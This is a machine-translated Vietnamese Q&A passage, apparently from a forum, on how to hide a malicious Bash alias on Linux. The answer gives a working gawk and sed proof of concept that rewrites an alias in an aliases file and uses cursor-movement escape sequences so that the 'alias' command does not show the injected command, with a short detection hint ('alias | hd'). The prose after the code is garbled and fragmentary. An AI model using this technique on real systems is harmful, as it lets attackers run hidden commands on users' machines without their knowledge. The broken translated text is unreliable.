Có thể che giấu sự tồn tại của một bí danh độc hại trong Bash trên hệ thống Linux và nó có được người dùng thực thi mà không có kiến thức của họ không?
Có thể che giấu sự tồn tại của một bí danh độc hại trong Bash trên hệ thống Linux và nó có được người dùng thực thi mà không có kiến thức của họ không?
Câu trả lời:
Có thể làm điều đó bằng cách gắn thêm bí danh hiện có vào mã độc và sử dụng chuyển động con trỏ để ẩn nó nếu alias
lệnh được sử dụng để hiển thị các định nghĩa bí danh. Đây không phải là một phương pháp hoàn hảo, nhưng nó có thể không bị phát hiện trong một thời gian. Đường ống alias
xuyên qua hd
sẽ cho bạn biết liệu có bất kỳ chuỗi thoát nào (chuyển động con trỏ) trong bí danh của bạn hay không. Dưới đây là bằng chứng về khái niệm về cách một lệnh độc hại có thể được chèn vào bí danh:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
Sửa lệnh một tập tin gọi là "bí danh" tại chỗ - một kịch bản thực sự của loại hình này sẽ đi cho cổ họng và sửa đổi một tập tin kịch bản thực tế để bí danh độc hại sẽ được kích hoạt lần sau khi nó thực thi.hide
dưới dạng đối số để có thể hiểu rằng bạn có thể gặp lỗi tương tự như lỗi được báo cáo trong câu hỏi này . Có thể đảo ngược các phần gốc và độc hại để ảnh hưởng đến điều này, mặc dù điều này sẽ can thiệp vào các đối số được cung cấp cho bí danh. Một nỗ lực được thực hiện trong đoạn script trên để đánh dấu sự kết thúc của các đối số --
.&&
, bạn có thể chuyển phần này sang phần tiếp theo và tạo tập lệnh độc hại (được biểu thị ở trên bằng echo
lệnh đơn giản ) stdin
để stdout
chuyển qua hoặc sửa đổi dữ liệu khi nó đi qua hoặc để ẩn dữ liệu tồn tại hơn nữa bằng cách không can thiệp vào chuyển hướng kháchide
chuỗi có thể được sửa đổi để bao gồm di chuyển con trỏ khác nhau và nội dung của bí danh ban đầu để các alias
lệnh sẽ xuất hiện để hiển thị các bí danh chưa sửa đổi thay vì che giấu nó cùng với một phần độc hại.. aliases
. Sau đó, bạn có thể thử sử dụng bí danh bị ảnh hưởng và xem nó trông như thế nào khi bạn làm alias|hd
.